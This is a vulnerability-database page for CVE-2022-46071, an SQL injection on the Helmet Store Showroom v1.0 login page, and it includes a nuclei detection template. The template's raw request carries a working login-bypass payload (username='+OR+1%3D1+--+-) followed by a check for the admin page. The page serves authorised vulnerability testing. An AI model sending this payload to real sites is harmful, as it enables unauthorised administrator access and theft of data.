HexBrain

Browse / CVEs / CVE-2022-46071

CVE-2022-46071· helmet store showroom site project / helmet store showroom site· CWE-89

Helmet Store Showroom v1.0 - SQL Injection

criticalseverity
9.8CVSS score
4.7%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

There is SQL Injection vulnerability at Helmet Store Showroom v1.0 Login Page. This vulnerability can be exploited to bypass admin access.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /classes/Login.php?f=login ; GET /admin/
Positive when: status_code_2 == 200 and contains(body_2, "Helmet Store") && contains(body_2, "Adminstrator Admin")

Run it with nuclei: nuclei -id CVE-2022-46071 -u <target>

The full check
id: CVE-2022-46071

info:
  name: Helmet Store Showroom v1.0 - SQL Injection
  author: Harsh
  severity: critical
  description: |
    There is SQL Injection vulnerability at Helmet Store Showroom v1.0 Login Page. This vulnerability can be exploited to bypass admin access.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://yuyudhn.github.io/CVE-2022-46071/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46071
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-46071
    cwe-id: CWE-89
    epss-score: 0.04696
    epss-percentile: 0.91875
    cpe: cpe:2.3:a:helmet_store_showroom_site_project:helmet_store_showroom_site:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: helmet_store_showroom_site_project
    product: helmet_store_showroom_site
  tags: cve,cve2022,sqli,admin-bypass,helmet,helmet_store_showroom_site_project,vuln

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username='+OR+1%3D1+--+-&password=1234
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "Helmet Store") && contains(body_2, "Adminstrator Admin")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from